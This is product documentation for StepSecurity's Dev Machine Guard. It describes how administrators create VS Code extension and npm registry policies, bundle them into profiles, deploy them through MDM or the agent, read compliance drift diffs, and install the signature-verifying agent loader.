See [Profiles](/developer-machines/device-policy/profiles) for the delivery steps, artifacts, and verification states for each type.

### Getting Started

1. Go to **Developer Machines** > **Device Policy** > **Policies** and create a policy. See [Policies](/developer-machines/device-policy/policies).
2. Go to **Device Policy** > **Profiles**, create a profile, and add the policy to it.
3. Choose the profile's **enforcement type**, then assign it to devices. See [Profiles](/developer-machines/device-policy/profiles).
4. If your MDM enforces the profile, download the artifacts and deploy them through your MDM.
5. Track rollout and verification status on the profile's **Compliance** tab.


# Policies

## Policies

Policies are reusable rules that you bundle into profiles to control what is allowed on developer machines. Each policy targets one category:

* **IDE extensions**: targets one IDE and defines which extensions and versions developers can install.
* **Package config**: targets one package ecosystem and points developer machines at your tenant's Secure Registry.

The **Policies** page under **Developer Machines** > **Device Policy** lists every policy in the following columns:

| Column                 | Description                                                                                      |
| ---------------------- | ------------------------------------------------------------------------------------------------ |
| **Name**               | The policy name, with its description underneath if one is set                                   |
| **Type**               | **Secure registry**, **Allow-list**, or **Block-list**                                           |
| **Category**           | **IDE extensions** or **Package config**                                                         |
| **Rules**              | The number of rules in the policy. Package config policies show a dash, since they have no rules |
| **Profiles**           | How many profiles the policy is attached to                                                      |
| **Last updated (GMT)** | When the policy last changed                                                                     |

<figure><img src="/files/tfN7FA0VNOUxLyPYnify" alt=""><figcaption></figcaption></figure>

**Follow this interactive demo to see how it works:**

{% embed url="<https://app.storylane.io/share/uivtaxit0ole>" %}

### Create a Policy

* Click **New policy**, then complete the **Basics** section:

<figure><img src="/files/VUqZFjxEW490vkYoUlm3" alt=""><figcaption></figcaption></figure>

Give the policy a name (for example, "Approved VS Code extensions") and an optional description of what it controls and why. Then select the **Category**. Your choice determines both the remaining fields and the target selector next to it:

| Category                                                                      | Target selector                                                  |
| ----------------------------------------------------------------------------- | ---------------------------------------------------------------- |
| **IDE extensions**, described as "Editor / IDE plugins"                       | **IDE**: VS Code                                                 |
| **Package config**, described as "Route installs through the secure registry" | **Ecosystem**: npm, shown as `~/.npmrc · registry + auth token`. |

A **Compiled preview** panel is shown alongside the editor throughout. It renders the exact configuration that will be delivered to devices, and updates as you make changes. Use the copy button to copy it at any time.

When you are done, click **Create policy**. To enforce the policy on devices, add it to a profile. See [Profiles](/developer-machines/device-policy/profiles).

### IDE Extension Policies

An IDE extension policy defines which extensions and versions developers can install in a given IDE. VS Code is supported today.

#### Mode

Choose whether the listed extensions are the only ones allowed, or the ones blocked:

* **Allow-list**: block everything except the listed extensions
* **Block-list**: allow everything except the listed extensions

#### Rules

Rules define the extensions and publishers the policy applies to. The section heading shows the current rule count, and its description reflects the mode you chose: an allow-list lists what developers are allowed to install, a block-list lists what they are blocked from installing.

You can add rules in two ways.

**Add rules from inventory or manually**

Click **Add rules** to open the rule picker.

<figure><img src="/files/UHlBv14ezNrysTV0twkf" alt=""><figcaption></figcaption></figure>

* **From inventory**: search the extensions Dev Machine Guard has already observed across your fleet, by name or publisher. Each entry shows the extension ID, the IDE, and the number of devices where it is installed, so you can build the policy from real usage.
* **Add manually**: add an extension that has not been observed in your fleet yet. Enter the publisher (for example, `ms-python`) and optionally the extension ID (for example, `python`). Leave the extension ID empty to write a publisher-wide rule. Manual rules use their own version strategy setting: allow any version, stable releases only, or pin specific versions.

<figure><img src="/files/IQ9FNcwk0ArInhoMExIm" alt=""><figcaption></figcaption></figure>

Before adding the selection, choose a **default version strategy**. It applies to every selected extension, and you can change individual rules afterwards:

* **Allow any version**: any published version is permitted.
* **Stable releases only**: pre-release and preview builds are rejected.
* **Pin specific versions**: add the extensions first, then pin exact versions on each rule from the rules table.
* **Allow everything from the publisher**: creates one publisher-wide rule per distinct publisher in the selection.

You can also add an optional **comment**. It is recorded on every rule you add, for audits and reviews, and is never delivered to devices.

**Import an existing configuration**

Click **Import** to upload an existing configuration and turn its entries into rules. Supported formats are an `extensions.allowed` JSON file, a `.mobileconfig`, or a preferences plist, up to 5 MB.

#### Rules Table

Added rules appear in a table with these columns:

| Column        | Description                                                                                                                                     |
| ------------- | ----------------------------------------------------------------------------------------------------------------------------------------------- |
| **Publisher** | The extension publisher, for example `hashicorp`                                                                                                |
| **Extension** | The specific extension, or `whole publisher` for a publisher-wide rule                                                                          |
| **Scope**     | The version constraint that applies. In a block-list policy, a publisher-wide rule shows `n/a · deny blocks all`, because the block is absolute |
| **Comment**   | The optional audit comment. Click **Add comment** to set one                                                                                    |

You can change the scope per rule, or remove a rule with the **X** at the end of its row.

<figure><img src="/files/9meQCAgrZKDSvP9vlUSV" alt=""><figcaption></figcaption></figure>

#### Private Marketplace

By default, assigned devices install extensions from the public Visual Studio Marketplace. If your organization hosts its own extension gallery, enter its URL in the optional **Private marketplace** section to point assigned devices at that gallery instead.

<figure><img src="/files/LbtiI2gQFT3Hm4edS9As" alt=""><figcaption></figcaption></figure>

Leave the field blank to keep the public Marketplace. Rule enforcement is identical either way: the allow-list or block-list you defined above applies to whichever gallery the device uses, so switching galleries does not weaken or change your rules.

When a URL is set, it is added to the compiled configuration as `extensions.gallery.serviceUrl`, and delivered in the same artifact as the rest of the policy. Because the gallery URL determines where every extension on the device comes from, it is also verified: if your MDM deploys a different gallery URL than the policy defines, the profile reports drift and the diff shows both values. See Profiles.

#### Compiled Preview

For VS Code, the policy compiles to the `extensions.allowed` setting inside `settings.json`. The preview is labelled with the effect of your chosen mode, so you can confirm the logic at a glance: **Allow only these, block the rest** for an allow-list, or **Block these, allow the rest** for a block-list.

An allow-list policy denies everything with a `"*": false` wildcard, then permits each listed entry:

```json
{
  "extensions.allowed": {
    "*": false,
    "bradlc.vscode-tailwindcss": true,
    "github.vscode-github-actions": true,
    "ms-vscode-remote.remote-ssh": true,
    "ms-vscode-remote.remote-ssh-edit": true
  }
}
```

A block-list policy inverts the wildcard, permitting everything and denying only the listed entries:

```json
{
  "extensions.allowed": {
    "*": true,
    "hashicorp": false,
    "ms-python.python": false
  }
}
```

If a private marketplace URL is set, an `extensions.gallery.serviceUrl` key is included alongside `extensions.allowed`.

These settings are enforced on assigned devices through both your MDM and the Dev Machine Guard agent. A device reports compliant once the settings are applied.

### Package Config Policies

A package config policy configures the package manager on each assigned device to resolve packages through your tenant's Secure Registry instead of the public registry. npm is supported today, writing the registry URL and authentication token into `~/.npmrc`. PyPI, covering the pip and uv index, is listed in the ecosystem selector as coming soon.

This removes the per-machine setup work described in the Secure Registry setup guide: rather than each developer editing their own configuration, you define the policy once and deliver it to the fleet.

#### Enforcement

Package config policies have no mode or rules to configure. Routing npm installs through your tenant's Secure Registry is **always on** for this category, so the **Enforcement** section is informational and summarizes what will happen on each device:

* **Writes** a clearly marked managed block into the user's `~/.npmrc`, containing the registry URL and an authentication token.
* **Verifies** it on every check-in. If a developer edits the block, the agent restores it and reports drift.
* **Removes** the block cleanly when the policy is detached from the profile or the tenant offboards, leaving no residue.

{% hint style="info" %}
The last two behaviors describe the Dev Machine Guard agent. If you deliver this policy through your MDM instead, the equivalent work is done by the audit, remediation, and uninstall scripts that the profile generates for you. See Profiles.&#x20;
{% endhint %}

#### Compiled Preview

The compiled preview shows the managed block the agent writes to `~/.npmrc` on each device, in place, around any existing configuration:

```
# ... your existing .npmrc configuration ...
# BEGIN StepSecurity Secure Registry -- managed by dmg
registry=https://registry.stepsecurity.io/javascript
//registry.stepsecurity.io/javascript/:_authToken=step_xxxxxxxx::dev:<DEVICE-SERIAL-ID>
# END StepSecurity Secure Registry
```

The `BEGIN` and `END` markers delimit the managed region. Configuration outside the markers is left untouched, which is what allows the block to be updated or removed later without disturbing a developer's own settings.

The registry authentication token is shared across your tenant. The agent appends a per-device `:dev:` suffix to it, so registry access from each device is attributed separately even though the underlying token is the same.

#### Verifying the Result

Once the policy is delivered, the Package Configs page under **Developer Machines** > **Packages** audits which registry each machine actually resolves from. Use it to confirm the policy took effect across the fleet, and to find machines still resolving from the public registry.


# Profiles

Profiles are bundles of policies that you assign to devices or export to your MDM. Create a policy first, then compose it into a profile. See [Policies](/developer-machines/device-policy/policies).

The **Profiles** page under **Developer Machines** > **Device Policy** lists all profiles with the policies they contain, their agent assignment, and their compliance status.

<figure><img src="/files/IeLH62dzheDZPt1kvcwW" alt=""><figcaption></figcaption></figure>

Click **New profile** to create one and select a policy

<figure><img src="/files/7gD8UmvwsSxOuFvA3qbM" alt=""><figcaption></figcaption></figure>

Each profile has two tabs: **Delivery**, where you deploy the profile to devices, and **Compliance**, where you track which devices have applied it.

<figure><img src="/files/swPNfFGr6i19mJh4UJ8q" alt=""><figcaption></figcaption></figure>

### Delivery

Deploying a profile is a two-step process:

1. **Deploy**: pick who enforces this profile, then assign it to the devices it covers.
2. **Verify**: devices pick this up the next time they connect, usually within hours. See which ones applied it in the Compliance tab.

#### Policies

The **Policies** section lists the policies in the profile. Each row shows the policy name, its type badge, and a summary line: category, target, and either the rule count or `secure registry`. Click a row to open the policy.

#### Enforcement

Every profile declares one enforcement type. This is the most important choice on the page, because it determines who writes the configuration and what the Dev Machine Guard agent does.

| Option                    | What happens                                                                                                                                                                                                                  | Badge            |
| ------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------- |
| **Verify MDM deployment** | Your MDM (Intune, Jamf, Iru) deploys the settings. The agent never writes. It reads each device, verifies it against this profile, and flags drift with an exact field-by-field diff. Devices still need the agent installed. | **Verify only**  |
| **DMG agent enforces**    | The Dev Machine Guard agent on each device writes the VS Code settings and the managed `.npmrc` block, then re-applies them whenever a user edits them.                                                                       | **Self healing** |

Choose **Verify MDM deployment** when your fleet is already managed in an MDM and you want the operating system to enforce the configuration, which makes it tamper-proof for the developer. Choose **DMG agent enforces** when you want enforcement without an MDM, or when you want configuration restored automatically rather than reported.

{% hint style="info" %}
Changing the enforcement type on an existing profile asks you to confirm, then moves every assigned device onto the new channel. Devices show **Pending** until each agent reports under the new channel. This is expected and clears itself, it is not an error.
{% endhint %}

#### Assignment

Assignment is required for both enforcement types. Under **Verify MDM deployment** it tells the agent which devices to verify your MDM rollout on; under **DMG agent enforces** it tells the agent which devices to enforce on.

<figure><img src="/files/yeeDS3D5KW4fHfHRRGmJ" alt=""><figcaption></figcaption></figure>

* **All devices**: every current and future registered device.
* **Specific devices**: pick devices from the fleet. Search by hostname, user, or device ID. Each row shows the platform, the signed-in user, and the installed agent version, which is useful for spotting devices whose agent is too old to verify the profile.

Click **Save assignment** to apply your selection. Agents pick the profile up on their next cycle, and at most one profile applies to any device.

#### MDM Artifacts

When your MDM enforces the profile, the **MDM artifacts** section generates the files to deploy. Pick a category in the left rail and a platform tab (**macOS**, **Windows**, **Linux**), then follow the numbered steps. Use **Download all (.zip)** to get every artifact for the profile at once.

The agent reads what your MDM deployed, verifies it against this profile, and reports any drift with an exact diff. That verification is why the artifacts are generated here rather than assembled by hand: the file StepSecurity gives you is the same definition it later checks the device against.

<figure><img src="/files/bTCgnKAIgA0iyIHFvze0" alt=""><figcaption></figcaption></figure>

**IDE Extensions Artifacts**

IDE extension policies deliver as configuration, so there is a single step: import the artifact and assign it to the same device group this profile targets. Configuration profiles stay applied without a schedule.

**macOS**

* **Configuration profile** (`.mobileconfig`): import into Intune, Jamf, or Iru as a custom configuration profile, then assign it to the target device group.
* **Preference file** (`com.microsoft.VSCode.plist`): import into Jamf via Application & Custom Settings, or into Intune as a preference file, using the preference domain `com.microsoft.VSCode`.

**Windows**

* **Remediation script** (`.ps1`): deploy through Intune as a platform script to enforce the policy across your managed Windows devices.

**Linux**

* **Policy file** (`policy.json`): save to `/etc/vscode/policy.json` and roll it out through your preferred MDM or configuration-management channel.

**Package Config Scripts**

Package config policies deliver as a set of scripts, because a `.npmrc` file is user-writable and can drift back at any time. Each platform tab provides three scripts, named for the platform, for example `npm-package-config-audit-macos.sh`.

<figure><img src="/files/GyM17m1LwBogmA7grpP3" alt=""><figcaption></figcaption></figure>

**1. Deploy the audit and remediation pair**

These two ship together. Audit checks whether the managed `.npmrc` block is present and correct; remediation writes or repairs it. Audit alone reports, it does not fix.

* **Audit script**: deploy it in the detection slot of a script pair, either the Intune Remediations detection script, or the Audit Script field of the same Iru Custom Script library item that carries the remediation. It exits non-zero when `~/.npmrc` does not currently point at Secure Registry, its token is stale, or its permissions are loose, which signals that the remediation script should run. It never modifies the file.
* **Remediation script**: deploy it in the remediation slot of the same pair, either Intune Remediations, which packages detection and remediation together, or a single Iru Custom Script library item carrying the audit script in its Audit Script field and this one in its Remediation Script field. It rewrites `~/.npmrc` to use Secure Registry and writes a per-device auth token.

Both scripts can run as root, in which case they drop to the signed-in user, or directly in the user context.

{% hint style="info" %}
The audit and remediation scripts embed your tenant registry key. Upload them straight to your MDM. Do not paste them into a ticket or commit them to a repository
{% endhint %}

**2. Let your MDM run them on a schedule**

These scripts are not one-shot installers. A device drifts back the moment someone edits their own `.npmrc`, so the pair has to keep running.

Set the interval where you already set intervals: in your MDM. Ship both as scripts in Jamf or Iru and let the MDM's own check-in cadence run them; Jamf checks in roughly every 15 minutes by default. Nothing in StepSecurity schedules these scripts, so the interval is whatever your MDM is set to.

**3. Optional: clean up if you ever unassign**

Only needed if you remove the npm policy from this profile. Unassigning does not clean the device: the managed `.npmrc` block and its registry tokens stay on disk, so push the uninstall script before you unassign.

* **Uninstall script**: removes the Secure Registry managed block from `~/.npmrc` and restores any registry line the block had commented out. It embeds no key or URL, so it remains runnable after the registry key is disabled or the policy is detached, which makes it safe to keep on hand for offboarding.

Stop the audit and remediation pair from running before you push the uninstall script. If the pair is still on its schedule, remediation will simply rewrite the block that uninstall just removed.

### Compliance

The **Compliance** tab shows every device the profile applies to and its current state, so you can verify the rollout. A progress bar per policy category summarizes how many assigned devices are verified, for example `1/1 verified`.

<figure><img src="/files/IXnTdRMtG1EYrriCQdD7" alt=""><figcaption></figcaption></figure>

The device table has these columns:

| Column                             | Description                                                                                       |
| ---------------------------------- | ------------------------------------------------------------------------------------------------- |
| **Device**                         | Hostname and signed-in user, or the device ID                                                     |
| **Platform**                       | macOS, Windows, or Linux                                                                          |
| **Channel**                        | Which enforcement type the device is reporting under                                              |
| **One column per policy category** | The state for that category on that device, for example **IDE extensions** and **Package config** |
| **Last seen (GMT)**                | When the device last reported in                                                                  |
| **Agent Version**                  | The installed agent version                                                                       |

Devices that have not connected recently are counted as offline.

#### Verification States

Each category cell carries one of the following states.

| State                     | Meaning                                                                                                                  |
| ------------------------- | ------------------------------------------------------------------------------------------------------------------------ |
| **MDM verified**          | The agent read the device back and what your MDM deployed matches this profile's policy exactly.                         |
| **MDM drift**             | What your MDM deployed does not match this profile's policy. Open the diff to see every field that differs.              |
| **Pending**               | Waiting for the agent's first report under MDM verification.                                                             |
| **Not deployed**          | Your MDM has not pushed this configuration to the device yet, so there is nothing to verify.                             |
| **Verification failed**   | The agent reported a managed policy on this device, but the evidence it sent could not be read, so nothing was verified. |
| **Not assigned**          | No profile is assigned to this device for this category.                                                                 |
| **Agent update required** | The agent is too old to verify this policy on the device. Update it.                                                     |
| **Agent offline**         | The agent is not reporting in, so this status may be out of date.                                                        |

#### Reading a Drift Diff

When a category reports **MDM drift**, click **View diff** to open a field-by-field comparison of what the profile defines against what the device actually has. Two labels run throughout:

* **Desired**: the policy in StepSecurity, treated as the source of truth.
* **Observed**: what your MDM deployed.

<div><figure><img src="/files/vTkxRQgiJBQeoGUL9OpH" alt=""><figcaption></figcaption></figure> <figure><img src="/files/SzV7zt2q4SInuUl9vWYP" alt=""><figcaption></figcaption></figure></div>

The diff is grouped by setting. For `extensions.allowed`, entries are sorted into three buckets, each with a count:

* **Missing**: required by the policy, not deployed.
* **Extra**: deployed, but not in the policy. This is the bucket to read first, because it is where an unapproved extension appears.
* **Changed**: present in both, but the values differ. Each row shows the desired value, then the observed value.

Single-value settings such as `extensions.gallery.serviceUrl` are shown as a **Desired** and **Observed** pair. A mismatch here means devices are pointed at a different extension gallery than the policy specifies, which changes where every extension on the device comes from.

The diff footer records when the device was last verified and confirms that it is re-checked on every agent cycle. Resolve drift in one of two ways: fix the deployment in your MDM so it matches the policy, or click **Edit policy** to change the policy so it matches what you intended to deploy. The agent never writes in this channel, so drift will persist until you act on it.

### Manage Profiles with Terraform

You can manage profiles and their policies as code using the [StepSecurity Terraform provider](https://registry.terraform.io/providers/step-security/stepsecurity/latest). Click **Use with Terraform** on a profile to open a guided, one-time import flow with commands prefilled for that profile. You can also download the instructions as Markdown. The **Terraform** button on the Policies list page offers the same flow for policies.

1. **Set up the provider**: save the generated `provider.tf`, which configures the `step-security/stepsecurity` provider and authenticates via the `STEP_SECURITY_API_KEY` and `STEP_SECURITY_CUSTOMER` environment variables, then run `terraform init`.
2. **Add import blocks**: the panel generates one import block for the profile and one for each attached policy, prefilled with your IDs.
3. **Generate the config, review, apply**: run `terraform plan -generate-config-out=generated.tf`, review `generated.tf` before committing, then apply. From that point on, changes to the profile and its policies can be managed through Terraform.

<figure><img src="/files/BJ8gIpvzSG1SYlxKxIIi" alt=""><figcaption></figcaption></figure>


# Installation

The **Installation** section is where you generate, deploy, and manage Dev Machine Guard across your fleet. It has two pages:

* [**Script**](/developer-machines/installation/script) — a four-step wizard that generates a ready-to-deploy installation package for macOS, Windows, or Linux.
* [**Settings**](/developer-machines/installation/settings) — organization-wide configuration: the telemetry key agents authenticate with, and the device-activity threshold.

For step-by-step fleet rollout guides for each MDM platform, see [MDM Deployment](/developer-machines/installation/script/mdm-deployment).

## How Dev Machine Guard is deployed

Dev Machine Guard is delivered using a two-piece architecture:

* **The loader script** is a lightweight shell (macOS, Linux) or PowerShell (Windows) script that you deploy through your existing MDM or EDR tooling. It downloads the Dev Machine Guard binary, writes the embedded configuration to disk, and delegates execution to the binary.
* **The Dev Machine Guard binary** (`stepsecurity-dev-machine-guard`) is published on GitHub Releases at [`github.com/step-security/dev-machine-guard`](https://github.com/step-security/dev-machine-guard/releases). On each scheduled run, the loader:

  * Fetches a signed version manifest from the StepSecurity API.
  * Verifies the manifest signature against the StepSecurity releases public key, which is **embedded in the loader at the time it is generated**.
  * Downloads the binary identified by the manifest from GitHub Releases.
  * Verifies the binary's SHA-256 against the value in the signed manifest.
  * Executes the binary only if both verifications pass.

  The signature is an Ed25519 SSH signature, verified using `ssh-keygen -Y verify`. The signing key (`releases@stepsecurity.io`) is held by StepSecurity and is the trust root for every released build. The corresponding public key, which you can use to independently verify the signed checksum, is:

```
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILN+WG4lOH/x6MysYOf1oY0PKXLLu9d3ZvQDcvq5Cboi releases@stepsecurity.io
```

This separation has two practical benefits:

1. You only need to deploy the loader script once via MDM. Binary updates are delivered automatically the next time the loader runs, without requiring an MDM redeploy.
2. Every binary the loader runs is cryptographically tied back to a single trust root: the StepSecurity releases signing key. Because that key is embedded in the loader rather than a per-build checksum, devices stay safe across version changes without re-deploying the loader. Substituting a malicious binary would require compromising both the StepSecurity API and the offline signing key, not just one or the other.

### Network requirements

Dev Machine Guard needs outbound HTTPS access to a small set of endpoints. If developer machines sit behind an egress proxy or firewall, authorize the following before deploying the agent:

| Endpoint                                                          | Port | Purpose                                                                                                                                                                                |
| ----------------------------------------------------------------- | ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `agent.api.stepsecurity.io`                                       | 443  | Control plane APIs, including the signed version manifest the loader fetches on each run                                                                                               |
| `customer-transient-data-277233109775.s3.us-west-2.amazonaws.com` | 443  | Telemetry event upload                                                                                                                                                                 |
| `github.com`                                                      | 443  | Agent binary download from [GitHub Releases](https://github.com/step-security/dev-machine-guard/releases)                                                                              |
| `release-assets.githubusercontent.com`                            | 443  | GitHub Releases redirect target. Asset downloads on `github.com` return an HTTP 302 to this domain, so it must be authorized alongside `github.com` for the binary download to succeed |

All connections are outbound only. The agent never listens for inbound connections.

{% hint style="info" %}
A StepSecurity-hosted binary distribution endpoint is in progress for customers whose network policy does not permit `github.com`. Contact <support@stepsecurity.io> if this applies to your environment.
{% endhint %}

### Signed installer (Windows)

For Windows fleets, Dev Machine Guard also ships as a **signed Windows Installer (`.msi`)**, published on [GitHub Releases](https://github.com/step-security/dev-machine-guard/releases) for both x64 and ARM64 architectures. The MSI integrates natively with Windows application-management tooling (SCCM, Intune Win32 apps, GPO software installation), exposes a standard `ProductCode` and `UpgradeCode` for detection and supersedence, and never spawns PowerShell during install, upgrade, or uninstall.

The MSI is the recommended path for production Windows fleets, especially in environments where EDR blocks PowerShell from making outbound network calls. See [Windows MDM Deployment](https://claude.ai/developer-machines/installation-script/mdm-deployment/windows.md) for details.

## What the agent does not collect

The Dev Machine Guard binary is designed to collect only the metadata required for supply chain visibility. It does not collect:

* Source code
* Secrets or credentials
* Personal data outside the developer's installed tooling inventory

For details on what data Dev Machine Guard does collect, see the [Devices](/developer-machines/devices) page.


# Script

The **Script** page generates a ready-to-deploy installation package for Dev Machine Guard. It walks you through a four-step wizard: pick an operating system, choose a deployment pattern, set your configuration, then review and generate the output.

The page supports **macOS, Windows,** and **Linux**. The deployment patterns, scheduler mechanisms, configuration fields, and generated output all adapt to the operating system you select in Step 1.

For the underlying delivery model (loader script versus signed installer) and the binary verification flow, see the [Installation](/developer-machines/installation) overview.

### Generating an installation package

The wizard has four steps. Use **Continue** to advance and **Previous** to go back. Your selections carry through to the output generated at the end.

#### Step 1: Operating system

Select the target platform: **macOS, Windows,** or **Linux**. Your choice determines the loader type, the available deployment patterns, the scheduler used, the configuration fields shown, and the format of the generated output.

<figure><img src="/files/4ymy9hpLq3jpFG1nc4DT" alt=""><figcaption></figcaption></figure>

#### Step 2: Deployment pattern

Choose how you want to run the agent. The available options depend on the operating system selected in Step 1.

On macOS and Windows, patterns are grouped by intent under **Get started** (try it on a single machine) and **Scale deployment via MDM** (roll out to many machines). Linux offers its two patterns directly, without the MDM grouping.

**macOS**

* Get started: **One-time execution** (recommended) runs the script once for an on-demand scan; **Scheduled via launchd** installs a LaunchAgent so it runs on a schedule on this machine.
* Scale via MDM: **MDM-scheduled** (recommended) has your MDM run the script on a recurring schedule; **Scheduled via launchd** pushes once via MDM and the agent self-schedules via launchd.

<figure><img src="/files/x1BX047xhRRWK5cSz7l0" alt=""><figcaption></figcaption></figure>

**Windows**

* Get started: **One-time execution** (recommended) runs the script once for an on-demand scan; **Scheduled via Task Scheduler** registers a Scheduled Task so it runs on a schedule on this machine.
* Scale via MDM: **Win32 app** (recommended) produces a `.intunewin` package for Microsoft Intune; **MSI installer** provides the signed `.msi` for SCCM / Configuration Manager.

<figure><img src="/files/cTWa2vw3tDbyl3P3LGln" alt=""><figcaption></figcaption></figure>

**Linux**

* **One-time execution** runs the script once per invocation.
* **Repeated execution** registers a systemd user timer to run on a schedule on this machine.

<figure><img src="/files/YoMwdwIkT11XheXyaSqf" alt=""><figcaption></figcaption></figure>

For step-by-step fleet rollout guides, see [MDM Deployment](/developer-machines/installation/script/mdm-deployment).

#### Step 3: Configuration

The configuration fields depend on the operating system and deployment pattern selected.

**Scan frequency** (self-scheduling patterns only)

Sets how often the agent scans the device after install, in hours (default `4`). It appears whenever the agent runs on its own recurring schedule: Windows Task Scheduler, the Linux systemd user timer (Repeated execution), and the macOS scheduled and MDM-scheduled patterns. On Windows MSI deployments it maps to the `SCANFREQUENCY` property. It does not appear for one-time execution, where there is no recurring schedule.

**Agent version**

* **Latest** (loader-based and Win32-app patterns): the agent resolves the newest release on each run. The page shows the current latest version (for example, `1.12.0`). This enables automatic updates. See [Auto-updating](#auto-updating).
* **Pin specific version**: lock the install to a known release.
* **MSI version** (Windows MSI installer pattern): the MSI is pinned at install time. Push a newer MSI to upgrade. Select the version from the dropdown. Unlike the loader-based patterns, MSI installs do not auto-update the binary in place; you upgrade by deploying a newer MSI through your MDM.

**Inactive threshold**

Sets the number of days after which a device with no telemetry is marked inactive in the device list. This applies to all devices and is saved to your organization settings when you generate. The same setting can be managed later on the [Settings](/developer-machines/installation/settings) page.

**Advanced configuration**

Expand this section to control install location, scan scope, and package scanners. On Windows MSI deployments these values are delivered via the MSI bootstrap file.

* **Install directory**: where the agent binary and logs live. Leave blank for the default: `~/.stepsecurity` on macOS and Linux, `%ProgramData%\StepSecurity` on Windows.
* **Scan directories**: one absolute path per line. Leave blank to scan the user's home directory.
* **Include TCC-protected directories** (macOS): scan Documents, Downloads, and similar locations. Requires Full Disk Access.
* **Package scanners**: choose which package ecosystems to scan (**npm, Homebrew, Python**).
* **Scan timeout**: maximum run time, in hours.
* **Stale-process age**: kill hung runs after this many hours.

<figure><img src="/files/uwJc9qNNCm93wZNSWC10" alt=""><figcaption></figcaption></figure>

#### Step 4: Review and generate

Review a summary of every selection. Hover a field to jump back and edit it, then select **Generate script** (or **Regenerate script** after a change).

The generated output depends on the deployment pattern:

* **Script patterns** (one-time execution, scheduled, repeated, MDM-scheduled) produce a loader script you copy or download, plus deployment instructions. The script is named for the platform and tenant, for example `stepsecurity-loader-linux-<customer>.sh`.

<figure><img src="/files/fa5SyvQILc5GZCjqnmBG" alt=""><figcaption></figcaption></figure>

* **Win32 app** (Windows) produces the **Install** and **Uninstall** command lines to use when adding the `.intunewin` package as a Win32 app in Intune, along with a link to the [Intune guide](/developer-machines/installation/script/mdm-deployment/windows/microsoft-intune). Download the `.intunewin` from the GitHub release.

<figure><img src="/files/7dRGAqMjoHRJeAwLjw9A" alt=""><figcaption></figcaption></figure>

* **MSI installer** (Windows) produces the architecture-specific MSI download URLs (x64 and ARM64), a `bootstrap.json` to pre-stage tenant credentials and advanced scan configuration, and a link to the [SCCM guide](/developer-machines/installation/script/mdm-deployment/windows/microsoft-configuration-manager-sccm).

<figure><img src="/files/GRUfOOE9Dj9w9RH7DNg8" alt=""><figcaption></figcaption></figure>

For the exact upload and configuration steps in each MDM tool, follow the linked guide rather than the summary values alone.

### Deploying the output

For script patterns, copy the script from the page or use **Download**, then deploy it through your MDM or EDR tooling. Because the loader handles binary download, version checking, and execution, no further configuration is required on the device. For a quick proof of concept, run the script on your own machine to see results right away.

For Windows Win32-app and MSI patterns, follow the [Windows MDM Deployment](/developer-machines/installation/script/mdm-deployment/windows) guides, which cover credential passing (inline MSI properties versus a pre-staged bootstrap file), architecture selection, upgrades, and uninstall.

#### Fleet deployment via MDM

For step-by-step guides on deploying at scale, see [MDM Deployment](/developer-machines/installation/script/mdm-deployment):

* **Windows** — [Microsoft Configuration Manager (SCCM/MEMCM)](/developer-machines/installation/script/mdm-deployment/windows/microsoft-configuration-manager-sccm), [Microsoft Intune](/developer-machines/installation/script/mdm-deployment/windows/microsoft-intune)
* **macOS** — [Iru](/developer-machines/installation/script/mdm-deployment/macos/iru-formerly-kandji)

### Auto-updating

**Loader-based deployments support automatic updates.** When you set **Agent version** to **Latest** in Step 3, devices pick up the most recent published release on their next scheduled run, with no further action required from you.

**To enable auto-update:**

1. Open the **Script** page.
2. In **Step 3: Configuration**, set **Agent version** to **Latest**.
3. Complete the wizard and generate.

Devices that already have the loader deployed pick up the change on their next scheduled run, and every subsequent release is delivered the same way. You do not need to redeploy the loader through MDM.

**How often updates arrive.** Devices check for a new release once per scheduled run. On self-scheduling patterns, the cadence is set by **Scan frequency**.

**Windows MSI is different.** The **MSI installer** pattern pins the binary at install time and does not auto-update in place. To upgrade an MSI fleet, deploy a newer MSI version through your MDM. See [Windows MDM Deployment](/developer-machines/installation/script/mdm-deployment/windows).

**Is auto-update safe?** Yes. Every binary the loader downloads is cryptographically verified before it runs. The loader carries an embedded StepSecurity releases public key, and a release is only executed if its signed manifest verifies against that key and its SHA-256 matches. See the [Installation](/developer-machines/installation) overview for the full verification flow.

{% hint style="info" %}
**Rolling back.** On loader-based patterns you can leave **Latest** at any time: set **Agent version** to a known-good pinned version and devices roll back on their next scheduled run. On MSI, roll back by deploying the previous MSI version.
{% endhint %}

### Pinning a specific version

If your environment requires change-controlled rollouts, or you want to validate a release in a staging fleet before promoting it, pin devices to a specific version instead of using **Latest**.

**To pin a version:**

1. Open the **Script** page.
2. In **Step 3: Configuration**, select **Pin specific version** (or, for Windows MSI, choose the desired **MSI version**) and pick the release (for example, `1.11.0`).
3. Complete the wizard and generate.

Loader-based devices move to the selected version on their next scheduled run. For MSI, the selected version is the one packaged for deployment. To roll out a later release, repeat with the new version selected.


# MDM Deployment

Dev Machine Guard is designed to be deployed at scale through your existing endpoint management tooling. This section covers fleet deployment patterns for each supported operating system.

For an overview of the underlying delivery model (loader script versus signed installer), see the [Installation Script](/developer-machines/installation) page.

#### Choose your platform

* [**Windows**](/developer-machines/installation/script/mdm-deployment/windows) — Microsoft Configuration Manager (SCCM/MEMCM), Microsoft Intune
* [**macOS**](/developer-machines/installation/script/mdm-deployment/macos) — Iru (formerly Kandji)

#### Picking a deployment pattern

Two distinct delivery models are available, depending on what your fleet already supports:

| Model                                    | When to use it                                                                                                                                                                                                      |
| ---------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Signed installer (MSI, PKG, DEB/RPM)** | Your MDM treats applications as first-class objects with built-in detection, version tracking, and supersedence (e.g., SCCM Applications, Intune Win32 apps, Jamf Pro policies). Recommended for production fleets. |
| **Loader script (PowerShell, shell)**    | Your tooling pushes scripts but does not natively manage application lifecycle (e.g., custom EDR runbooks, lightweight MDMs, ad-hoc rollouts). Simpler to deploy; updates flow automatically through the loader.    |

Each platform page below shows which deployment tools are supported and links to a step-by-step guide for each one.


# Windows

Dev Machine Guard ships as a **signed Windows Installer (`.msi`)** for fleet deployment to Windows endpoints. The MSI is published on [GitHub Releases](https://github.com/step-security/dev-machine-guard/releases) for both Intel/AMD (x64) and ARM64 architectures, and integrates natively with Windows-based endpoint management tools.

### Why MSI

